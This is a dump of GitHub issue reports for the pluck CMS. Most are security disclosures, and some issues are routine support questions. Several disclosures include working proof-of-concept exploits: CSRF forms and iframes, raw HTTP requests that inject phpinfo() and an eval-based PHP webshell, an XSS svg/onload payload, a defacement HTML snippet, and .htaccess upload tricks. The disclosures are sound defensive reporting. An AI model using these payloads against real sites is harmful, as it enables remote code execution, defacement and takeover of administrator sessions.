| There is a CSRF vulnerability can add txt file. | https://api.github.com/repos/pluck-cms/pluck/issues/82/comments | 3 | 2019-10-21T08:17:27Z | 2019-11-01T18:58:53Z | https://github.com/pluck-cms/pluck/issues/82 | 509,804,358 | 82 |
[
"pluck-cms",
"pluck"
] | CSRF POC:
```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/pluck/admin.php?action=editpage&page=111" method="POST">
<input type="hidden" name="title" value="evil" />
<input type="hidden" name="seo_name" value="111" />
<input type="hidden" name="content" value="evil" />
<input type="hidden" name="description" value="" />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="hidden" value="no" />
<input type="hidden" name="sub_page" value="" />
<input type="hidden" name="theme" value="oldstyle" />
<input type="hidden" name="save" value="Save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
| An issue was discovered in Pluck 4.7.10-dev2. There is a CSRF vulnerability that can editpage via a /admin.php?action=editpage | https://api.github.com/repos/pluck-cms/pluck/issues/81/comments | 5 | 2019-10-21T08:14:08Z | 2019-11-01T18:57:30Z | https://github.com/pluck-cms/pluck/issues/81 | 509,802,703 | 81 |
[
"pluck-cms",
"pluck"
] | **Pluck-4.7.10-dev2 admin background exists a remote command execution vulnerability when creating a new web page**
Vulnerability location：
data\inc\functions.admin.php 531-535 line
Saves the hidden parameter passed by the POST request to php, but does not escape the special character (') in the value, which can directly close the php syntax remote execution command, such as phpinfo(), eval(), etc.
Demo：
After the installation is successful, go to the management background.Create a new page, enter a title and content Select "Show webpage",submit the request and then grab the request packet to modify the value of the hidden parameter to "no"; phpinfo();'"
```
POST /pluck-4.7.10-dev2/admin.php?action=editpage HTTP/1.1
Host: 192.168.80.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.1/pluck-4.7.10-dev2/admin.php?action=editpage
Cookie: PHPSESSID=b01p8o9n85qbjq6f1tj50anlp3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
title=aaaa&seo_name=&content=%3Cp%3Eaaaa%3C%2Fp%3E&description=&keywords=&hidden=no';phpinfo();'&sub_page=&theme=default&save=%E5%82%A8%E5%AD%98
```
http://192.168.80.1/pluck-4.7.10-dev2/?file=aaaa
Write a sentence Trojan
```
POST /pluck-4.7.10-dev2/admin.php?action=editpage HTTP/1.1
Host: 192.168.80.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.1/pluck-4.7.10-dev2/admin.php?action=editpage
Cookie: PHPSESSID=b01p8o9n85qbjq6f1tj50anlp3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
title=bbbb&seo_name=&content=%3Cp%3Ebbbb%3C%2Fp%3E&description=&keywords=&hidden=no';@eval($_POST[b]);'&sub_page=&theme=default&save=%E5%82%A8%E5%AD%98
```
Use chopper connection
| Pluck-4.7.10-dev2 admin background exists a remote command execution vulnerability when creating a new web page | https://api.github.com/repos/pluck-cms/pluck/issues/80/comments | 2 | 2019-10-21T07:55:24Z | 2019-11-01T18:58:26Z | https://github.com/pluck-cms/pluck/issues/80 | 509,793,657 | 80 |
[
"pluck-cms",
"pluck"
] | admin.php:
language.php：
save_file():
"../../../images/wphp.jpg" Be written to \data\settings\langpref.php
Users can upload a picture file containing malicious code to getshell.
POST /pluck-4.7.10-dev1/admin.php?action=language HTTP/1.1
Host: 127.0.0.1:83
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:83/pluck-4.7.10-dev1/admin.php?action=language
Cookie: LQUKaS_admin_username=admin; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1570503836; PHPSESSID=a0bhen6shpeifgc20p0l23pmj1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
cont1=../../../images/php.jpg&save=%E5%82%A8%E5%AD%98&cmd=echo "2333"; | File contains vuln pluck 4.7.10 dev version | https://api.github.com/repos/pluck-cms/pluck/issues/79/comments | 2 | 2019-10-12T02:21:22Z | 2019-11-01T18:58:02Z | https://github.com/pluck-cms/pluck/issues/79 | 506,117,765 | 79 |
[
"pluck-cms",
"pluck"
] | An issue was discovered in Pluck before 4.7.10 dev version. Remote PHP code execution is possible.
Do you hava a email? I send details to it. | File upload vuln pluck 4.7.10 dev version | https://api.github.com/repos/pluck-cms/pluck/issues/78/comments | 4 | 2019-07-27T18:41:17Z | 2019-08-01T14:25:26Z | https://github.com/pluck-cms/pluck/issues/78 | 473,666,053 | 78 |
[
"pluck-cms",
"pluck"
] | Hi! I think regexp in function latinOnlyInput is incorrect. So I find a xss in /data/inc/images.php line42, and I think this problem may lead to other vulnerabilities.
In regexp, brackets have special meanings. [blank]-[underline] means blank to underline in ascii. | [vulnerability] xss or other vulns | https://api.github.com/repos/pluck-cms/pluck/issues/77/comments | 4 | 2019-07-17T13:21:22Z | 2019-07-17T18:05:11Z | https://github.com/pluck-cms/pluck/issues/77 | 469,189,603 | 77 |
[
"pluck-cms",
"pluck"
] | Description: The Billion Laughs attack is a denial-of-service attack that targets XML parsers. The Billion Laughs attack is also known as an XML bomb, or more esoterically, the exponential entity expansion attack. A Billion Laughs attack can occur even when using well-formed XML and can also pass XML schema validation. For this reason, it may sometimes be tricky to figure out how to mitigate the threat of the Billion Laughs attack when working with different XML parsers.
Vulnerability Name:- Billion Laugh Attack
Vulnerable URL:- http://localhost/pluck-4.7.9-dev3/pluck-4.7.9-dev3/files/xxe.xml
# Discovered by: BreachLock
# Website: https://www.breachlock.com
# Author: Rahul Kumar Rai
Proof of concept:
Step1: Login into the pluck-4.7.9-dev3 using the admin role.
Step2: Go to the pages option and click there, you will get an option of manage files. Then browse the .xml extension file where the crafted code is written inside. Then click on upload.
Step3: After uploading the file, just click on the search box. It is shown below.
Step4: Here .xml file get executed.
| Billion Laugh Attack found on pluck 4.7.9 dev3 | https://api.github.com/repos/pluck-cms/pluck/issues/76/comments | 2 | 2019-06-08T11:16:47Z | 2019-06-08T11:35:09Z | https://github.com/pluck-cms/pluck/issues/76 | 453,783,469 | 76 |
[
"pluck-cms",
"pluck"
] | Location:https://github.com/pluck-cms/pluck/blob/master/data/inc/themeinstall.php
Code:
`// ......
$dir = 'data/themes'; //Where we will save and extract the file.
$maxfilesize = 1000000; //Max size of file.
$filename = $_FILES['sendfile']['name']; //Determine filename.
//Check if we're dealing with a file with tar.gz or zip in filename.
if (!strpos($filename, '.tar.gz') && !strpos($filename, '.zip'))
show_error($lang['general']['not_valid_file'], 1);
else {
//Check if file isn't too big.
if ($_FILES['sendfile']['size'] > $maxfilesize)
show_error($lang['theme_install']['too_big'], 1, true);
else {
//Save theme-file.
copy($_FILES['sendfile']['tmp_name'], $dir.'/'.$filename) or die ($lang['general']['upload_failed']);
if (strpos($filename, '.tar.gz')) {
//Then load the library for extracting the tar.gz-file.
require_once ('data/inc/lib/tarlib.class.php');
//Load the tarfile.
$tar = new TarLib($dir.'/'.$filename);
//And extract it.
$tar->Extract(FULL_ARCHIVE, $dir);
//After extraction: delete the tar.gz-file.
unlink($dir.'/'.$filename);
}
else { //if not tar.gz then this file must be zip
//Then load the library for extracting the zip-file.
require_once ('data/inc/lib/unzip.class.php');
//Load the zipfile.
$zip=new UnZIP($dir.'/'.$filename);
//And extract it.
$zip->extract();
//After extraction: delete the zip-file.
unlink($dir.'/'.$filename);
// ......`
Parse the. TXT file as PHP type by placing. htaccess in the compressed package and then execute the PHP statement.
Step1. Upload a file zip
File content:
.htaccess
File content
phpinfo.txt
File content
Step2 Request
| file-upload vulnerability in data\inc\themeinstall.php | https://api.github.com/repos/pluck-cms/pluck/issues/75/comments | 0 | 2019-06-06T02:42:50Z | 2019-06-06T02:44:23Z | https://github.com/pluck-cms/pluck/issues/75 | 452,804,606 | 75 |
[
"pluck-cms",
"pluck"
] | Description:- HTML injection is a type of injection issue that occurs when a user is able to control an input point and is able to inject arbitrary HTML code into a vulnerable web page. This vulnerability can have many consequences, like disclosure of a user's session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims.
Vulnerability Name:- HTML Injection
Vulnerable URL:- http://localhost/pluckmaster/pluckmaster/files/html injection.html
# Discovered by: BreachLock
# Website: https://www.breachlock.com
# Author: Rahul Kumar Rai
Proof of concept:
Step1: Login into the pluck-master using the admin role.
Step2: Go to the pages option and click there, you will get an option of manage files. Then browse the .html extension file where the crafted code is written inside. Then click on upload.
Step3: After uploading a file, just click on the search box. It is shown below.
Step4: Here .html file will be executed.
Here is the html code:-
</br><h1>HACKED BY BREACHLOCK</h1><img src="https://app.breachlock.com/img/BreachLock.png"></br><h1>I WANT TO BACK FREE</h1></br>
| HTML Injection {pluck 4.7.9 dev} | https://api.github.com/repos/pluck-cms/pluck/issues/74/comments | 2 | 2019-05-13T03:34:34Z | 2019-05-15T13:36:19Z | https://github.com/pluck-cms/pluck/issues/74 | 443,191,213 | 74 |
[
"pluck-cms",
"pluck"
] | Description: SVG files can contain Javascript in <script> tags. Browsers are smart enough to ignore scripts embedded in SVG files included via IMG tags. However, a direct request for an SVG file will result in the scripts being executed. So an embedded SVG as an attachment in an issue or avatar does not execute the code, but if a user clicks on the attachment the code will execute.
Vulnerability Name: Cross-Site Scripting (svg file upload XSS)
Vulnerable URL: http://localhost/pluckmaster/pluck-master/files/xss.svg
# Discovered by: BreachLock
# Website: https://www.breachlock.com
# Author: Rahul Kumar Rai
Proof of concept:
Step1: Login into the pluck-master using the admin role.
Step2: Go to the pages option and click there, you will get an option of manage files. Then browse XSS.svg file and upload.
Step3: After uploading file, just click on the search box. You will get a pop up of XSS. It is shown below.
Step4: Here XSS file is executed.
| Cross-Site Scripting Vulnerability (XSS) on pluck-master {pluck 4.7.9 dev} | https://api.github.com/repos/pluck-cms/pluck/issues/73/comments | 2 | 2019-05-07T12:28:19Z | 2019-05-15T14:05:37Z | https://github.com/pluck-cms/pluck/issues/73 | 441,205,184 | 73 |
[
"pluck-cms",
"pluck"
] | Location: https://github.com/pluck-cms/pluck/blob/master/data/inc/files.php#L40
Code:
```php
<?php
// ......
$blockedExtentions = array('.php','php3','php4','php5','php6','php7','phtml');
if (in_array($lastfour, $blockedExtentions) or in_array($lastfive, $blockedExtentions) ){
if (!rename('files/'.latinOnlyInput($_FILES['filefile']['name']), 'files/'.latinOnlyInput($_FILES['filefile']['name']).'.txt')){
show_error($lang['general']['upload_failed'], 1);
}
chmod('files/'.latinOnlyInput($_FILES['filefile']['name']).'.txt', 0775);
}else{
chmod('files/'.latinOnlyInput($_FILES['filefile']['name']), 0775);
}
// ......
?>
```
When the uploaded file hits the suffix in `$blockedExtentions`, the file will be renamed to `.{ext}.txt`, and missed `$blockedExtentions` will not be renamed. So you can upload a webshell by overriding the `.htaccess` file.
**Step1. Upload a file `.htaccess`**
File content:
**Step2. Upload file `phpinfo.txt`**
File content:
**Step3. Request**
 | file-upload vulnerability in data/inc/files.php | https://api.github.com/repos/pluck-cms/pluck/issues/72/comments | 4 | 2019-04-09T14:45:54Z | 2019-05-29T16:19:45Z | https://github.com/pluck-cms/pluck/issues/72 | 431,009,393 | 72 |
[
"pluck-cms",
"pluck"
] | I have module called contact form, but i dont know how i can include it on my page. In the modules settings i don't saw it. | Contact form use | https://api.github.com/repos/pluck-cms/pluck/issues/71/comments | 1 | 2019-03-16T04:00:01Z | 2019-07-17T17:23:00Z | https://github.com/pluck-cms/pluck/issues/71 | 421,766,863 | 71 |
[
"pluck-cms",
"pluck"
] | Vulnerability details:
In the management module page, the installation module uploads a compressed webshell, which can be directly uploaded and decompressed, causing the entire website to crash.
Vulnerability url:
http://127.0.0.1/pluck/admin.php?action=installmodule
Vulnerability POC:
POST /pluck/admin.php?action=installmodule HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/pluck/admin.php?action=installmodule
Content-Type: multipart/form-data; boundary=---------------------------26299170359894
Content-Length: 56087
Connection: close
Cookie: envlpass=21232f297a57a5a743894a0e4a801fc3; _ga=GA1.1.1523573753.1550292454; PHPSESSID=vr8t3uqdsh6gu011nijv1jjjco
Upgrade-Insecure-Requests: 1
-----------------------------26299170359894
Content-Disposition: form-data; name="sendfile"; filename="webshell.zip"
Content-Type: application/x-zip-compressed
| A file upload vulnerability | https://api.github.com/repos/pluck-cms/pluck/issues/70/comments | 4 | 2019-02-18T07:28:57Z | 2019-05-15T14:01:12Z | https://github.com/pluck-cms/pluck/issues/70 | 411,336,254 | 70 |
[
"pluck-cms",
"pluck"
] | One: use CSRF vulnerability to delete pictures
Vulnerability details:
When the administrator logs in, opening the webpage will automatically delete the specified image.
Vulnerability url: http://127.0.0.1/pluck/admin.php?action=images
Vulnerability POC:
<iframe src="http://127.0.0.1/pluck/admin.php?action=deleteimage&var1=test.jpg" >
Two: use the CSRF vulnerability to delete the topic
Vulnerability details:
When the administrator logs in, opening the web page will automatically delete the specified topic.
Vulnerability url: http://127.0.0.1/pluck/admin.php?action=theme
Vulnerability POC:
<iframe src="http://127.0.0.1/pluck/admin.php?action=theme_delete&var1=oldstyl">
Three: use CSRF vulnerability to remove the module
Vulnerability details:
When the administrator logs in, open the webpage and the specified module will be deleted automatically.
Vulnerability url: http://127.0.0.1/pluck/admin.php?action=modules
Vulnerability POC:
<iframe src="http://127.0.0.1/pluck/admin.php?action=module_delete&var1=albums " >
Four: use CSRF vulnerability to delete pictures
Vulnerability details:
When the administrator logs in, opening the web page will automatically delete the specified article.
Vulnerability url: http://127.0.0.1/pluck/admin.php?action=page
Vulnerability POC:
<iframe src="http://127.0.0.1/pluck/admin.php?action=deletepage&var1=aaaa">
Vulnerability suggestions:
One: Detect user submissions by referer, token, or verification code.
Second: It is best to use the post operation for users to modify and delete.
| Four CSRF vulnerabilities in pluck cms 4.7.9 | https://api.github.com/repos/pluck-cms/pluck/issues/69/comments | 12 | 2019-02-18T07:08:41Z | 2019-05-15T16:25:24Z | https://github.com/pluck-cms/pluck/issues/69 | 411,330,487 | 69 |
[
"pluck-cms",
"pluck"
] | `if((!ereg('index.php', $_SERVER['SCRIPT_FILENAME'])) && (!ereg('admin.php', $_SERVER['SCRIPT_FILENAME'])) && (!ereg('install.php', $_SERVER['SCRIPT_FILENAME'])) && (!ereg('login.php', $_SERVER['SCRIPT_FILENAME'])) && (!ereg('update.php', $_SERVER['SCRIPT_FILENAME']))){
//Give out an "access denied" error.
echo 'access denied';
//Block all other code.
exit(); `
Hello,
I use this type of function quite often. Since my website provider updated to PHP 7.2 the website doesn't work anymore. The output is "access denied".
Thanks you in advance! | problem with ereg() | https://api.github.com/repos/pluck-cms/pluck/issues/68/comments | 2 | 2018-12-15T10:15:34Z | 2018-12-22T14:27:48Z | https://github.com/pluck-cms/pluck/issues/68 | 391,364,562 | 68 |
[
"pluck-cms",
"pluck"
] | When creating new posts in blog module, similar tag bloat is created as described in #66. | Similar to #66 - tag bloat in newly created blogs | https://api.github.com/repos/pluck-cms/pluck/issues/67/comments | 2 | 2018-09-05T12:09:07Z | 2018-09-05T18:06:50Z | https://github.com/pluck-cms/pluck/issues/67 | 357,198,847 | 67 |
[
"pluck-cms",
"pluck"
] | When creating new pages or editing existing ones, some garbage is always put into body:
```
<?php
$title = 'test';
$seoname = 'test';
$content = '!DOCTYPE html
html
head
/head
body
ptest page/p
/body
/html';
$hidden = 'yes';
?>
```
Looks like tinymce is doing this. Fighting with this issue from v 4.7.6 onwards. Tried in FF, Chrome, Palemoon browsers. | garbage in newly created pages | https://api.github.com/repos/pluck-cms/pluck/issues/66/comments | 4 | 2018-08-23T07:40:33Z | 2018-08-23T08:31:13Z | https://github.com/pluck-cms/pluck/issues/66 | 353,260,959 | 66 |
[
"pluck-cms",
"pluck"
] | Affected software: Pluck v4.7.7
Type of vulnerability: CSRF
URL: https://www.pluck-cms.org
Discovered by: BreachLock
Website: https://www.breachlock.com
Author: Balvinder Singh
Description: CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.
CSRF attacks target functionality that causes a state change on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.
It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called "stored CSRF flaws". This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.
Proof of concept:
Step1: Login into the pluck CRM.
Step2: Here in general setting we can change the title of the website and email of the victim.
VulnerableURL:http://localhost/pluck/pluck-4.7.7/admin.php?action=settings
Step3: Here is the crafted code which we used to execute the csrf successfully. Save this code with .html and run it on your browser. After running the below code we will get the submit request button and clicking this button will change the title and email address of the victim.
Step4: here we successfully changed the title and email parameter using the crafted code.
| CSRF in Pluck v4.7.7 | https://api.github.com/repos/pluck-cms/pluck/issues/65/comments | 6 | 2018-08-16T11:10:37Z | 2019-05-15T14:04:53Z | https://github.com/pluck-cms/pluck/issues/65 | 351,159,255 | 65 |
[
"pluck-cms",
"pluck"
] | Affected software: Pluck v4.7.7
Type of vulnerability: XSS (Stored)
URL: https://www.pluck-cms.org
Discovered by: BreachLock
Website: https://www.breachlock.com
Author: Balvinder Singh
Description: Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.
Proof of concept:
Step1: Login into the pluck CRM.
Step2: Edit the page title with the malicious script.
Vulnerable URL : http://localhost/pluck/pluck-4.7.7/admin.php?action=editpage&page=14253123
Step3: Here the XSS get executed successfully.
URL Where XSS got executed: http://localhost/pluck/pluck-4.7.7/?file=default-aspx-img-src-x-onerror-prompt-0
| XSS (Stored) in Pluck v4.7.7 | https://api.github.com/repos/pluck-cms/pluck/issues/64/comments | 8 | 2018-08-16T10:49:44Z | 2019-05-15T14:03:52Z | https://github.com/pluck-cms/pluck/issues/64 | 351,152,904 | 64 |
[
"pluck-cms",
"pluck"
] | Affected software: Pluck v-4.7.7
Author: Ritesh kumar
Description: SVG files can contain Javascript in <script> tags. Browsers are smart enough to ignore scripts embedded in SVG files included via IMG tags. However, a direct request for an SVG file will result in the scripts being executed.
So an embedded SVG as an attachment in an issue or avatar does not execute the code, but if a user clicks on the attachment the code will execute.
Steps to reproduce:
1: login to pluck.
2: click on pages->manage files then browse and upload an malicious svg file which contain xss payload.
3: Now open that file which was saved as xss.svg the below output will be shown.
URL Where XSS got executed- http://127.0.0.62/files/xss.svg
Vulnerable url: http://127.0.0.62/admin.php?action=files | XSS via svg fileupload : Pluck v-4.7.7 | https://api.github.com/repos/pluck-cms/pluck/issues/63/comments | 7 | 2018-08-12T16:14:36Z | 2019-05-15T14:02:35Z | https://github.com/pluck-cms/pluck/issues/63 | 349,824,238 | 63 |
[
"pluck-cms",
"pluck"
] | @billcreswell I have created a new module for Pluck which adds the following features:
* Module page to configure the emailadresses which can be used to send emails to with displayname and emailaddress
* Selector for the site page showing the Displaynames
* Captcha check for sending mails [https://github.com/yasirmturk/simple-php-captcha]
https://github.com/BSteelooper/enhanced_contactform
Can you create a fork? | Configurable emailadresses for contactform | https://api.github.com/repos/pluck-cms/pluck/issues/62/comments | 0 | 2018-07-03T17:53:55Z | 2018-07-07T19:44:59Z | https://github.com/pluck-cms/pluck/issues/62 | 337,998,756 | 62 |
[
"pluck-cms",
"pluck"
] | An issue was discovered in Pluck before 4.7.7. Remote PHP code execution is possible.
Do you hava a email? I send details to it. | File upload vuln pluck4.7.7 | https://api.github.com/repos/pluck-cms/pluck/issues/61/comments | 8 | 2018-05-31T04:15:42Z | 2018-09-03T08:40:11Z | https://github.com/pluck-cms/pluck/issues/61 | 327,988,036 | 61 |
[
"pluck-cms",
"pluck"
] | When you have tens or hundreds files in _files_ folder, it is very hard to find needed file, when trying to add file link via _Pluck actions > insert file_ , because the file list is not in alphabetical order (like in _insert image_ function).
Is it possible to sort files in alphabetical order also in _insert file_ function, as it was in pluck's previous version? | Editing Page > Pluck actions > insert file - file list is not in alphabetical order | https://api.github.com/repos/pluck-cms/pluck/issues/60/comments | 3 | 2018-05-24T12:57:35Z | 2018-05-24T18:47:29Z | https://github.com/pluck-cms/pluck/issues/60 | 326,109,818 | 60 |
[
"pluck-cms",
"pluck"
] | I upgraded my 4.7.3 to version 4.7.5 recently, but version 4.7.4 dev is shown at footer, and also plucks update checker still shows "update available" status on admin page. | Version 4.7.5 says it's 4.7.4 dev | https://api.github.com/repos/pluck-cms/pluck/issues/59/comments | 1 | 2018-05-21T11:21:49Z | 2018-05-21T11:52:21Z | https://github.com/pluck-cms/pluck/issues/59 | 324,880,800 | 59 |
[
"pluck-cms",
"pluck"
] | Hi do you have a email address? | Xss & file upload vuln. Please advise. | https://api.github.com/repos/pluck-cms/pluck/issues/58/comments | 2 | 2018-05-19T01:50:38Z | 2018-09-03T08:40:24Z | https://github.com/pluck-cms/pluck/issues/58 | 324,591,864 | 58 |
[
"pluck-cms",
"pluck"
] | how do i make cms updates? | updating | https://api.github.com/repos/pluck-cms/pluck/issues/57/comments | 3 | 2018-04-12T12:55:13Z | 2018-04-13T14:24:53Z | https://github.com/pluck-cms/pluck/issues/57 | 313,714,691 | 57 |
[
"pluck-cms",
"pluck"
] | Why any template I put, I can not see the sub-sub-pages? | template sub sub pages | https://api.github.com/repos/pluck-cms/pluck/issues/56/comments | 9 | 2018-04-10T06:55:57Z | 2018-04-11T21:25:48Z | https://github.com/pluck-cms/pluck/issues/56 | 312,794,724 | 56 |
[
"pluck-cms",
"pluck"
] | Where can I find new themes? | themes | https://api.github.com/repos/pluck-cms/pluck/issues/55/comments | 4 | 2018-04-09T14:51:33Z | 2018-04-09T16:40:54Z | https://github.com/pluck-cms/pluck/issues/55 | 312,563,278 | 55 |
[
"pluck-cms",
"pluck"
] | Ability to turn off the receiving of comments on a blog post, or on the blog in general, or by date. | Blog Feature: Turn off Comments | https://api.github.com/repos/pluck-cms/pluck/issues/53/comments | 9 | 2018-04-05T23:20:21Z | 2018-09-10T15:26:34Z | https://github.com/pluck-cms/pluck/issues/53 | 311,801,246 | 53 |
[
"pluck-cms",
"pluck"
] | When I set my home page, my site redirects www.domain.com to www.domain.com/home
I'd prefer this just be the SITE_URL, but I haven't figured out whether this is the htaccess, or the url processing inside | SEO URLs Home Page as SITE_URL | https://api.github.com/repos/pluck-cms/pluck/issues/52/comments | 1 | 2018-04-04T13:06:18Z | 2018-04-05T14:02:34Z | https://github.com/pluck-cms/pluck/issues/52 | 311,221,750 | 52 |
[
"pluck-cms",
"pluck"
] | Deprecated: Methods with the same name as their class will not be constructors in a future version of PHP; SmartImage has a deprecated constructor in pluck/data/inc/lib/SmartImage.class.php on line 14 | SmartImage Class Needs updated Constructor | https://api.github.com/repos/pluck-cms/pluck/issues/50/comments | 0 | 2018-04-02T23:50:21Z | 2018-04-04T12:57:23Z | https://github.com/pluck-cms/pluck/issues/50 | 310,647,539 | 50 |
[
"pluck-cms",
"pluck"
] | Hello In addition to the command injection that was mentioned in one of the preceding issues, it's also vulnerable to stored XSS and blind stored XSS in the Admin panel. This is a high severity issue as it allows attackers to specifically target users or even administrators. As an admin who checks the blog to edit it or delete it will be met with the alert which means JS is executing admin side which could allow theft of admin credentials and session.
Reproduction is quite easy.
1. First install cms, login with administrator to create a blog, create a page and insert blog to it, then logout as admin.
2. Then we go our blog post and file out the reaction information. We fill in name/email/message with generic information. For our url we'll provide this string, http://google.com/?"><svg/onload=confirm(document.domain)>
3. Once we submit we'll see an alert echo'ing our website's domain name. Then log back in as admin and go to blog posts to see it firing there as well. | CVE-2018-7197 Stored XSS in admin/blog reaction post due to Unsantized Url embedding | https://api.github.com/repos/pluck-cms/pluck/issues/47/comments | 2 | 2018-02-17T18:52:49Z | 2018-03-31T23:37:47Z | https://github.com/pluck-cms/pluck/issues/47 | 298,027,264 | 47 |
[
"pluck-cms",
"pluck"
] | Hey I noticed you're using an outdated version of MoxiePlayer which is allowing Content spoofing. https://github.com/pluck-cms/pluck/blob/master/data/modules/tinymce/lib/plugins/media/moxieplayer.swf
Proof of concept: website.com/data/modules/tinymce/lib/plugins/media/moxieplayerswf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
An attacker simply use a victim's website to play videos which could damage the website's reputation, i.e terrorist propaganda or shock content. | Content Spoofing Due to MoxiePlayer.swf | https://api.github.com/repos/pluck-cms/pluck/issues/46/comments | 1 | 2018-02-17T17:24:44Z | 2018-03-31T23:38:19Z | https://github.com/pluck-cms/pluck/issues/46 | 298,020,889 | 46 |
[
"pluck-cms",
"pluck"
] |
## description
Pluck cms v4.7.4 getshell vulerability
## details
critical code in /data/modules/blog/blog.site.php, $POST is passed to blog_save_reaction, 'blog_reaction_email' and 'blog_reaction_website' will be filtered:
```
//If form is posted...
if (isset($_POST['submit'])) {
//Check if everything has been filled in.
if (empty($_POST['blog_reaction_name']) || filter_input(INPUT_POST, 'blog_reaction_email', FILTER_VALIDATE_EMAIL) == false || (($_POST['blog_reaction_website'] != 'http://' && !empty($_POST['blog_reaction_website'])) && filter_input(INPUT_POST, 'blog_reaction_website', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED) == false) || empty($_POST['blog_reaction_message']))
echo '<p class="error">'.$lang['contactform']['fields'].'</p>';
//Add reaction.
else {
blog_save_reaction($_GET['post'], $_POST['blog_reaction_name'], $_POST['blog_reaction_email'], $_POST['blog_reaction_website'], $_POST['blog_reaction_message']);
//Redirect user.
redirect(SITE_URI.'/'.PAGE_URL_PREFIX.CURRENT_PAGE_SEONAME.BLOG_URL_PREFIX.$_GET['post'], 0);
}
}
```
blog_save_reaction in /data/modules/blog/functions.php, $name and $message will be sanitized, but $website and $email will not be sanitized:
```
function blog_save_reaction($post, $name, $email, $website, $message, $id = null, $force_time = null) {
global $lang;
//Sanitize variables.
$name = sanitize($name);
$message = sanitize($message);
$message = nl2br($message);
//Have to make sure that the dir exists.
if (!is_dir(BLOG_POSTS_DIR.'/'.$post)) {
mkdir(BLOG_POSTS_DIR.'/'.$post);
chmod(BLOG_POSTS_DIR.'/'.$post, 0777);
}
if (!empty($id))
include BLOG_POSTS_DIR.'/'.$post.'/'.$id.'.php';
else {
$files = read_dir_contents(BLOG_POSTS_DIR.'/'.$post, 'files');
if ($files) {
$id = count($files);
$id++;
}
else
$id = 1;
if (empty($force_time))
$reaction_time = time();
else
$reaction_time = $force_time;
}
$data['reaction_name'] = $name;
$data['reaction_email'] = $email;
if ($website != 'http://' && !empty($website))
$data['reaction_website'] = $website;
$data['reaction_message'] = $message;
$data['reaction_time'] = $reaction_time;
save_file(BLOG_POSTS_DIR.'/'.$post.'/'.$id.'.php', $data);
}
```
savefile in /data/inc/functions.all.php, there is no security checking about $value:
```
function save_file($file, $content, $chmod = 0777) {
$data = fopen($file, 'w');
//If it's an array, we have to create the structure.
if (is_array($content) && !empty($content)) {
$final_content = '<?php'."\n";
foreach ($content as $var => $value) {
$final_content .= '$'.$var.' = \''.$value.'\';'."\n";
}
$final_content .= '?>';
fputs($data, $final_content);
}
else
fputs($data, $content);
fclose($data);
if ($chmod != FALSE)
chmod($file, $chmod);
}
```
We found that filter_input is not sufficient, So $_POST[‘blog_reaction_website’] and $_POST[‘blog_reaction_email’] can cause getshell.
POC:
1) install cms, login with admnistartor to create a blog, create a page and insert blog to it, logout with administrator
2) browser the page as guest, and click reactions, submit data as follow:
Website data is: http://www.google.com/index.php';phpinfo();//
After click send, phpinfo() will be excuted
Credit: ADLab of VenusTech
| Pluck cms v4.7.4 getshell vulerability | https://api.github.com/repos/pluck-cms/pluck/issues/45/comments | 1 | 2017-07-02T15:59:03Z | 2018-03-31T23:38:40Z | https://github.com/pluck-cms/pluck/issues/45 | 240,018,585 | 45 |
[
"pluck-cms",
"pluck"
] | Hi! I found a Unrestricted File Upload Vulnerability on PluckCMS 4.7.4.
I found i can bypass the filetype detection on background site by modifying the MIME type on HTTP request. And with uploading a PHP File, i can get a webshell.
Please fix it ASAP and contact me to get more details(i did not find you email) :
